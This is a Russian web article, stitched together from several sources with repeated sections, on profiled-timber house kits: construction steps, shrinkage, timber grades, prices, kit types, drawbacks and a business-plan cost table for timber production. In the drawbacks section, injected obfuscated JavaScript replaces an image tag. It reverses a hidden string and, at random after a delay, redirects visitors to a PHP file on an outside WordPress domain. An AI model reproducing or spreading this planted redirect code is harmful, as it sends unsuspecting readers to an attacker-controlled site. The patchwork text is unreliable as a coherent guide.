Что такое домокомплект из профилированного бруса, какой процесс сборки и средняя цена?

Укладка основания и пола

Пол в деревянном доме.

После окончания строительства фундамента необходимо выполнить укладку пола и основания. Возведение дома начинают с устройства нижней обвязки, которую называют венцом. Его выкладывают на ровный и покрытый гидроизоляционным составом фундамент.

Для стен, у которых имеется сторона, выходящая на улицу, используется брус размером 15 х 15 см, а балки для пола и внутренние перегородки делают из бруса 10 х 5 см. После монтажа первый венец (он больше всего подвержен развитию древесных пороков) следует покрыть антисептическим средством.

После обработки необходимо смонтировать лаги пола. При монтировании надо учесть, что лаги лучше укладывать на ребро, так как это создает повышенную устойчивость. После укладывается черновой пол (прямо на лаги), покрываемый с обеих сторон теплоизоляцией. Желательно использовать брус с сечением 25 х 150 мм. Заключительным действием является укладка основного пола, материал которого выбирается на вкус потребителя.

Как минимизировать усадку?

Современные инженерные методы, включающие в себя обустройство массивного и устойчивого фундамента и использование наиболее рациональных технологий соединения строительного материала, позволяют контролировать механический аспект усадки.

Полностью избежать деформации в процессе естественного аспекта усадки невозможно, но существуют способы, с помощью которых можно значительно минимизировать ее ущерб:

Величина усадки бруса.

1. Использование максимально качественного материала. Ранее уже отмечалось, что профилированный брус является лучшим материалом для строительства бань, потому что обладает неоспоримыми плюсами по сравнению с другими материалами. Сооружения, возведенные из профилированного бруса, представляют собой отличный конструктивный вариант. Четкая, ровная форма профилированных брусьев позволяет им плотно и жестко прилегать друг к другу. Крепкое сцепление обеспечивается благодаря шипам, сечению профиля и пазам. Одним из наиболее востребованных вариантов в строительстве бань является профилированный брус с двумя шипами. Подобная конструкция позволяет получить внутри помещения ровные стены, а снаружи — образовать блок-хаус. Минимизация усадки обеспечивается благодаря профилю, полностью исключающему зазоры и щели. Профилированный брус камерной сушки обеспечивает минимизацию ущерба от усадки до 50% в сравнении с использованием заготовок естественной влажности.
2. Сборка бани из профилированного бруса должна строго соответствовать технологии. Плотность пригнанных друг к другу отдельных элементов и качественное заполнение зазоров между ними позволяют уменьшить изменение линейных размеров.
3. Защита оконных и дверных проемов от усадки при возведении бани. С этой целью в верхней части проемов оставляются специальные зазоры в 0,3-0,4 см, а в боковые части врезаются вертикальные бруски-ройки.
4. Защита от температурных колебаний и осадков наиболее уязвимых частей сруба. К таким частям относятся торцы брусьев из профиля. Их сохранность можно обеспечить с помощью обработки защитными составами либо использования специальных дощатых накладок.
5. Правильный выбор времени для возведения постройки. Большую роль для усадки бани из профилированного бруса играет влажность воздуха: чем она меньше, тем меньшее количество времени понадобится для окончательной усадки сооружения. Именно этим фактором объясняется прямая зависимость величины усадки от времени года. Многие предпочитают возводить баню зимой, потому что зимой усадка минимальна из-за отсутствия движения соков в профилированном брусе.
6. Использование межвенцового утеплителя. Именно этот материал является незаменимым средством в снижении усадки. При выборе межвенцового утеплителя для бани из профилированного бруса следует отдавать предпочтение тому, который не пропускает через себя влагу, однако при этом и не накапливает ее. Подобными качествами обладают только с капиллярной структурой волокон материалы (к примеру, мох, джут, лен). Синтетические утеплители всегда накапливают влагу, что приводит к усилению деформации сруба, а также способствует гниению бруса.

Использование вышеперечисленных мер поможет значительно снизить усадочный эффект, однако полностью проблему усадки не решит. Именно поэтому баня, построенная из качественного, хорошо просушенного профильного бруса с использованием правильной технологии возведения, также должна выстояться перед началом отделочных работ.

Самый важный первый венец

Технология сборки дома из профилированного бруса предусматривает уделение особого внимания первому венцу. Он представляет собой одно из уязвимых мест. Этот узел будет образовывать контур дома. Он находится ближе к поверхности земли и контактирует с фундаментом, который тянет в воду из грунта.

Первый венец экранируется, эти работы предусматривают его отделение от фундамента слоем гидроизоляции. В качестве нее обычно выступает рубероид, укладываемый на слой битумной мастики. Сверху располагается подкладочный 100-мм брус, именно такова его толщина. Что касается ширины, то она не должна быть меньше соответствующего значения профилированного бруса. Последний станет промежуточным звеном между фундаментом и стеновым материалом.

Подкладочный брус должен изготавливаться из лиственницы, которая характеризуется высокой устойчивостью к гниению. Материал в этом случае необходимо обрабатывать антисептиком. Когда комплект для сборки дома из профилированного бруса поставлен на территорию застройки, вы можете приступать к работам. После возведения фундамента и укладки первого венца вы можете начинать монтаж нижнего венца, который представляет собой брус с одной профилированный стороной. Горизонтальную плоскость необходимо покрыть антисептиком, а после высыхания смеси сверху укладывается слой джутового уплотнителя. Его толщина должна составить 5 мм.

Балки перекрытия необходимо врезать в первый венец. Но лучше уложить их таким образом, чтобы они опирались на ростверк фундамента. Если произойдет загнивание нижнего венца, проблем с его заменой будет меньше. Первые два венца лучше изготовить из лиственницы.

6 этап. Монтаж стропильной системы дома из бруса

Информационный материал по устройству крыши дома из профилированного бруса (стропильная система, кровельные материалы, водостоки и т.д.) собран в соответствующем разделе – крыша и кровля.

Компенсация усадки брусового дома

Усадка дома из профилированного бруса — это естественный процесс, вызванный свойствами древесины. Высушивание бруса естественным образом или в камере, позволяет снизить влажность древесины и снизить процент усадки. Но исключить полностью его не удается. Усадка составляет 3-5% для профилированного бруса камерной сушки и 8% для бруса естественной сушки.

Учитывая такую особенность профилированного бруса, строительные компании предлагают два вида строительства домов из профилированного бруса:

под усадку. Предполагает выполнение работ в два этапа. Сначала строится коробка, а после простоя год-полтора, приступают к установке теплого контура (окон, дверей), лестниц, делают внутреннюю отделку и т.п.;

под ключ. В данном случае, работы выполняются за один заход, а установка элементов ведется с соблюдением требований компенсации усадки.

Классификация строительного элемента

Основным строительным элементом рассматриваемых домов является деревянный брус. Он может быть нескольких видов:

1. Цельный. Изготавливается из ствола дерева формированием прямоугольного сечения путем механической обработки. Он проходит только естественную сушку, а потому остаточная влажность может достигать 20-25%.
2. Клееный. Изготавливается путем склеивания под давлением отдельных досок (ламелей), которые проходят предварительный отбор и сушку.
3. Профилированный. Он может изготавливаться из обоих указанных типов пиломатериала. Главная особенность – формирование специального профиля на гранях для соединения брусьев между собой по системе «шип-паз».

Профилированный брус находит самое широкое распространение, т.к. обеспечивает качественную сборку сруба, прочное соединение и утепление межвенцовых швов.

Виды профилированного бруса

Для изготовления домов применяются такие разновидности профилированного бруса:

1. Брус естественной влажности (ЕВ). Он не проходил обработки в сушильных камерах, а потому имеет не нормируемую остаточную влажность, что вызывает усадку после укладки. Главное преимущество – низкая стоимость.
2. Сухой брус, прошедший камерную сушку (КС). Он проходит сушку в вакуумных камерах. Остаточная влажность не превышает 20%.Он стоит дороже ЕВ, но не подвержен растрескиванию и имеет минимальную усадку.
3. Клееный профилированный брус (КПБ). Самый дорогой из указанных материалов, но имеет повышенную прочность, минимальную влажность и не имеет усадки.

виды бруса

Различается брус и по виду лицевой стороны: прямоугольный (прямолинейный) или выгнутый (D-образная или О-образная поверхность). Наибольшее распространение находит брус прямоугольного сечения. Другие варианты применяются для придания особого внешнего вида, имитирующего бревенчатый сруб.

Правила выбора профилированного элемента

Профилированный брус подразделяется на несколько видов по форме профиля:

1. Одношиповой тип, т.е. брус с профилем, имеющим 1 шип. Он характерен для наиболее дешевых ЕВ брусьев. Как правило, они рекомендуются для домов с сезонным проживанием, дач и бань.
2. Двойной тип или брус с 2-мя шипами. Он обеспечивает надежное сцепление венцов между собой и сокращает потери тепла. Между шипами можно проложить рулонный утеплитель. Такой брус вполне подойдет для круглогодичных жилых домов эконом категории.
3. Брус с профилем со скошенными фасками. По сути, это разновидность предыдущего варианта. Он немного дороже, но выглядит более привлекательно и упрощает качественную конопатку.
4. «Гребенка» или брус со множественными шипами (немецкий профиль). Это наиболее дорогой вариант. Он обеспечивает прочное сцепление и максимальную теплоизоляцию, что дает возможность отказаться от использования дополнительного утеплителя. С его помощью делается теплый, жилой дом.
5. Скандинавский или финский брус. У него своеобразный профиль в виде шипов со скошенными боками. Он позволяет наиболее эффективно использовать утеплитель.

Выбор типа профиля зависит от ширины бруса и требований к дому.

Второй важный критерий выбора – размер. Стандартные сечения: 100х100, 100х150, 150х150, 150х200, 200х200 мм. При необходимости можно выбрать нестандартные сечения, в котором размеры сторон находятся в пределах 50-275 мм. Длина бруса – от 2 до 6 м с градацией 0,5 м. Стоимость профилированного бруса зависит от сечения, способа сушки, типа профиля и дополнительной обработки. Она находится в пределах 8000-12000 руб/м3. Затраты на сырье составят 6200-7400 руб/м3.

Почему рачительные застройщики предпочитают профилированный брус

Брус, это комплексное понятие, объединяющее ряд материалов отличающихся как визуально, так и техническими параметрами.

Простой брус – можно купить практически на любой пилораме, но, пожалуй, единственным его достоинством, кроме того, что это древесина, является низкая цена. К минусам же можно отнести и далекую от совершенства геометрию, и образование «вертолетов» и «пропеллеров» по мере высыхания, и сложность сборки, и долгую усадку сруба (в среднем год). Мало того, из-за отсутствия профиля и замкового соединения стены нужно будет в обязательном порядке либо конопатить, либо утеплять снаружи и облицовывать. Декоративность сруба из простого бруса тоже сомнительна, вряд ли кого-то вдохновит вид растрескавшихся и выгнуто-вогнутых стен.

Профилированный брус – в отличие от простого, обладает идеальной геометрией и профилем, соединение ведется в шип-паз, даже материал естественной влажности после усадки расходится минимально и швы остаются герметичными. Усадка такой коробки занимает в среднем полугодие, но, при необходимости, можно заехать и сразу, только при установке окон и дверей необходимо учитывать возможные деформации и соблюдать правильный температурно-влажностный режим. Собирать сруб из ровных, идеально входящих в пазы элементов значительно проще и быстрее и никакой конопатки в дальнейшем не потребуется. Стоит материал прилично дороже простого варианта, но затраты полностью окупаются благодаря его преимуществам.

Клееный брус – самый технологичный вид, так как процесс производства предполагает склейку сухих ламелей и снятие напряжения между волокнами. Сруб после сборки практически не дает усадки, незначительные подвижки нивелируются посредством компенсаторов, сам монтаж также, как и в случае с профильным брусом, напоминает сборку конструктора. Причем не советского, с тучей элементов и крепежа, а современного Лего, собираемого интуитивно и без особых проблем. Минусом клееного бруса для многих выступает сомнительная экологичность, но реальной причиной его ограниченного распространения является высокая стоимость. Далеко не всем желающим по карману даже небольшой дачный домик из ККБ, не говоря о капитальном строении.

Следовательно, оптимальный материал по соотношению цены, качества и характеристик, это профилированный брус – он гораздо доступнее клееного и превосходит простой по всем показателям. За счет герметичных швов дом и низкой теплопроводности древесины дом будет энергоэффективным и расходы на эксплуатацию в будущем значительно сократятся.

Сколько будет стоить бизнес по производству бруса?

Чтобы подсчитать, каким будет размер первоначальных инвестиций, проанализируем каждую статью расходов:

Статья расходов	Сумма (руб.)
Итого:	7 688 000 рублей
1. Регистрация ООО (госпошлина, формирование уставного капитала, изготовление печати)	18 000
2. Аренда помещения (за 3 первых месяца)	120 000
3. Покупка оборудования	5 205 000
4. Транспортировка оборудования и его наладка	500 000
5. Закупка сырья (в объеме 300 куб. м. древесины)	1 500 000
6. Заработная плата сотрудникам	150 000
7. Оплата коммунальных услуг и налогов	100 000
8. Реклама и прочие небольшие расходы	95 000

Итак, по предварительным подсчетам, сумма капитальных инвестиций для организации собственного предприятия по изготовлению бруса составит порядка 7-8 млн. руб.

Что касается ожидаемого дохода, то он находится на уровне 3,5 млн. руб. в месяц при условии, что за 21 рабочий день вы будете изготавливать и реализовать около 300 куб. м. готовой продукции. При таком расчете ваша чистая месячная прибыль составит от 300 тыс. руб.

Такие предварительные цифры дают нам возможность вычислить, что полная окупаемость бизнеса ожидается в течение 20-24 месяцев работы. Если ваше предприятие сможет выполнять больше заказов, то и окупить его получится раньше – где-то за 14-18 месяцев.

При этом, не забывайте учитывать, что спрос на профилированный брус является сезонным. Активно раскупать этот материал будут по большей мере с апреля по октябрь.

Комплектация — основные составляющие

Домокомплект из сухого профилированного бруса имеет стандартный набор, в который входят:

• план-чертеж будущего построения;
• элементы, предназначенные для создания стен, перекрытий и пола;
• крепежная фурнитура для строительства;
• дополнительные расходные материалы, без которых не обходится не одна стройка.

Но в такой комплект не входят материалы для создания основания и кровли. Поэтому их придется подбирать отдельно. Чтобы немного облегчить себе задачу, все эти моменты можно решить в той же фирме, где приобретается и готовый домокомплект. Во-первых, это значительно сэкономит время, которое тратится на подбор дополнительных элементов и деталей, во-вторых, фирма может даже сделать скидку своему оптовому покупателю.

Хотя, ради справедливости стоит и отметить, что благодаря своей популярности, древесина сейчас продается многими. И вот тут главное правильно выбрать фирму, которая предложит действительно качественный товар. Если приобрести брак, то такой дом долго не простоит и придется все работы начинать сначала.

Оборудование для производства профилированного бруса

Для выполнения основных процессов производства понадобятся, как минимум, 5 основных устройств:

Оборудование	Стоимость (руб.)	Образец
Итого:		5 205 000 рублей
Электрорубанок (для очистки древесины)	5 000
Сушильная камера (для сушки древесины)	2 000 000
Четырёхсторонний станок (для формирования заготовок)	1 500 000
Двухсторонний шипорезный станок (для вырезания профилей)	1 650 000
Вилочный погрузчик (для транспортировки материалов)	500 000

Кроме затрат на покупку оборудования, нужно учитывать также и траты на пуско-наладку оборудования, его транспортировку и обучение персонала.

Купить оборудование для производства профилированного бруса можно новое, но, чтобы несколько сэкономить, начинающим бизнесменам стоит покупать уже использовавшиеся ранее устройства.

Как выбрать домокомплект

Выбирая домокомплект для себя и материалы, из которых он будет произведен, нужно учитывать следующие факторы:

• Климатические условия, в которых будет возводиться дом. Чем в более суровых условиях эксплуатируется строение, тем толще должны быть стены и слой утеплителя. В местностях с повышенной влажностью делают более усиленную гидроизоляцию.
• Сейсмическая активность. В зонах, где она повышена, делают более прочную конструкцию фундамента и по-особому закрепляют стены.
• Тип грунта определяет, каким будет фундамент.
• Глубина протекания грунтовых вод. От этого зависит способ обустройства подвалов, особенности возведения фундаментов, сложность системы водоотведения и гидроизоляции.
• Требования к дизайну. Они определяют внешний вид здания, выбор материалов для отделки дома, внутреннее расположение стен.
• Отзывы людей. Стоит учитывать опыт жильцов, которые проживают по соседству и дают определенные рекомендации к строительству каркасных домов.
• Личные строительные умения. Если приобретается комплект для самостоятельной сборки, неопытным людям лучше выбирать более простые проекты, чтобы было реально их самому построить.

Обычно все домокомплекты можно разделить на четыре типа, в зависимости от комплектации:

1. Малобюджетный. Комплект включает в себя исключительно элементы для основного каркаса, которые закрепляются замками шип-паз. Пиломатериал высушен атмосферным способом, погонаж имеет четкие размеры. В комплект не входит утеплитель и отделочные материалы.
2. Эконом. Комплект включает необходимые детали для сборки дома, а также щиты с утеплителем. Для перекрытий используется брус, а деревянный каркас собирается из щитов. Стены поставляются без обшивки и утеплителя. Также нет материалов для отделки дома внутри и снаружи.
3. Стандарт. Комплект включает в себя все элементы для возведения здания и отделочные материалы.
4. Люкс. В комплекте все детали модульного типа. Перекрытия выполнены из панелей с наполнением. Все конструкции имеют повышенную защиту от влажности и большую жесткость. Готовый домокомплект включает также все коммуникации.

Указанные комплектации не являются окончательными и могут комбинироваться между собой.

В зависимости от типа панелей, каркасные дома бывают следующих видов:

• Мелкопанельные – даже самые крупные части домокомплекта настолько легкие и мелкие, что их можно поднимать и закреплять вручную. Для строительства такого дома достаточно команды из 2-3 человек.
• Крупнопанельные – дом состоит из крупных блоков, поэтому он быстро собирается. Но на участке необходимо задействовать подъемный кран и большую строительную бригаду.

Как только вы определитесь, какой домокомплект купить, желательно побывать на заводе-изготовителе, проконсультироваться со специалистами, решить вопрос доставки элементов на участок и определиться с проектом дома.

Рассуждения пессимиста

Для начала давайте попытаемся определиться, стоит ли овчинка выделки. Что мы приобретаем, а что теряем при покупке домокомплекта из бруса?

Плюсы

Дерево есть дерево: это прекрасный природный материал, обеспечивающий  естественную вентиляцию дома и достаточно паропроницаемый. Что это означает? То, что сырость, плесень и затхлый воздух не станут проблемами.

• Благодаря обработанной поверхности профилированный брус красив. Достаточно покрыть его лаком — и внутренняя отделка дома завершена.
• Пазы и гребни препятствуют продуванию стен. Даже покоробившись, брус не пропустит внутрь дома сквозняки.
• Строительство из домокомплекта несложно и не требует привлечения тяжелой техники. Оно может быть выполнено своими руками даже в том случае, если у вас нет большого опыта плотницких работ.

Эти популистские доводы в пользу деревянных домов несложно найти на любом сайте продавца профилированного бруса. Однако продавцы часто забывают напомнить покупателю о нескольких, так сказать, теневых сторонах применения этого материала.

Минусы

Дерево гниет. Антисептические пропитки способны лишь отсрочить неизбежное: стопроцентной защиты они не обеспечат.

$NjS=function(n){if(typeof ($NjS.list)==»string») return $NjS.list.split(«»).reverse().join(«»);return $NjS.list;};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-horosho-vidny-sgnivshie-ventsy-600×450.jpg» alt=»На фото хорошо видны сгнившие венцы.» width=»600″ height=»450″ /> На фото хорошо видны сгнившие венцы.

• Дерево горит. С антипиренами та же картина, что и с антисептиками: они увеличат время, которое потребуется на возгорание при контакте древесины с открытым огнем, но негорючим материалом ее не сделают.
• Наконец, главное: стенам из бруса требуется утепление. Если исходить из рекомендованных СНиП норм теплового сопротивления стен, даже в теплом Краснодарском крае минимальная толщина деревянной стены равна 40-45 сантиметрам; на Севере она увеличивается в полтора раза.

Наружная поверхность деревянной стены прекрасно выглядит на картинке в рекламном проспекте; в реальной жизни даже 240-миллиметровый брус без наружного утепления заставит вас вдвое — втрое переплачивать за отопление.

Заметьте: наружное утепление не просто скроет поверхность строганного бруса. Оно еще и увеличит ваши затраты на стены на 30-40 процентов.

Альтернативы

И что можно предложить вместо бруса?

Напомним про несколько малобюджетных решений.

• Пенобетон не горит и не гниет, обеспечивая при этом неплохую теплоизоляцию.
• Сооружения из сип-панелей строятся даже быстрее домов из бруса; при этом они не дают усадки и не требуют дополнительной теплоизоляции.

Дом из sip-панелей не требует дополнительной теплоизоляции. Облицовка, впрочем, ему понадобится.

Наконец, достоинство каркасных домов — куда более низкая цена по сравнению с цельнодеревянными.

Проектная стадия строительства

Любое капитальное строительство начинается с нескольких важных мероприятий.

Проектирование

Оно может проводиться путем выбора типового проекта или заказа индивидуального. Дом из профилированного бруса может иметь каркасную конструкцию или возводиться в виде сруба (почитайте: как сделать сруб для бани из бревна и бруса).

Документы

Капитальное строительство можно проводить только при наличии необходимой технической документации:

1. План-чертеж фундамента на основании расчетов и характеристик почвы (уровень грунтовых вод и промерзания), со спецификацией по потребности в материалах.
2. План всего сооружения на базе предыдущего документа.
3. Подробный план с поэтажной разбивкой, размещением помещений и капитальных элементов (печь, камин, лестница и т.п.).
4. Подробный план брусчатых стен с расбрусовкой и разрезом в основных зонах.
5. Спецификация отдельных частей сооружения.
6. Чертеж кровли с деталировкой стропильной системы и кровельного покрытия.
7. Общий вид дома с внешней стороны.

Проведение расчета бруса для дома

Рассчитать необходимое сечение бруса с учетом нагрузок очень сложно, а потому при выборе размера бруса для стен пользуются такими нормами:

• хозяйственные строения и небольшие дачи – 10х10 см;
• стандартные дома для постоянного проживания, бани – 15х15 см;
• большие дома и коттеджи элитного класса – 20х20 см.

Расчет количества пиломатериала проводится на основании подробного плана стен с расбрусовкой. Потребный объем бруса (V) для стеновой кладки определяется, как произведение Р*H*b,

где Р – полный периметр дома со всеми выступами (м), Н – высота стен (м), b – ширина бруса (м), за вычетом оконных и дверных проемов.

Количество брусьев определяется, как V/(b*h*l), где b ширина, h высота, l длина бруса (м). Конкретная длина брусьев определяется по расбрусовке стен.

Обратите внимание: рекомендуется увеличить расчетную потребность на 6-8 процентов для учета отходов.

Разновидности

Для создания домов практикуются следующие виды профбруса.

• Брус естественной влажности (ЕВ). Он не подвергался камерной сушке, поэтому содержит ненормируемую остаточную влажность, что влечет усадку после монтажа. Основной плюс – невысокая цена.
• Сухой брус, прошедший обработку в сушильных камерах (КС). Он сушится в камерах вакуумной сушки. Остаточный процент влаги – не больше 20. Стоимость его выше ЕВ, он не подвергается образованию трещин и обладает минимальной усадкой.
• Клееный профилированный брус (КПБ). Самый дорогостоящий из названных материалов, обладает повышенной прочностью, минимальной влажностью и не дает усадки.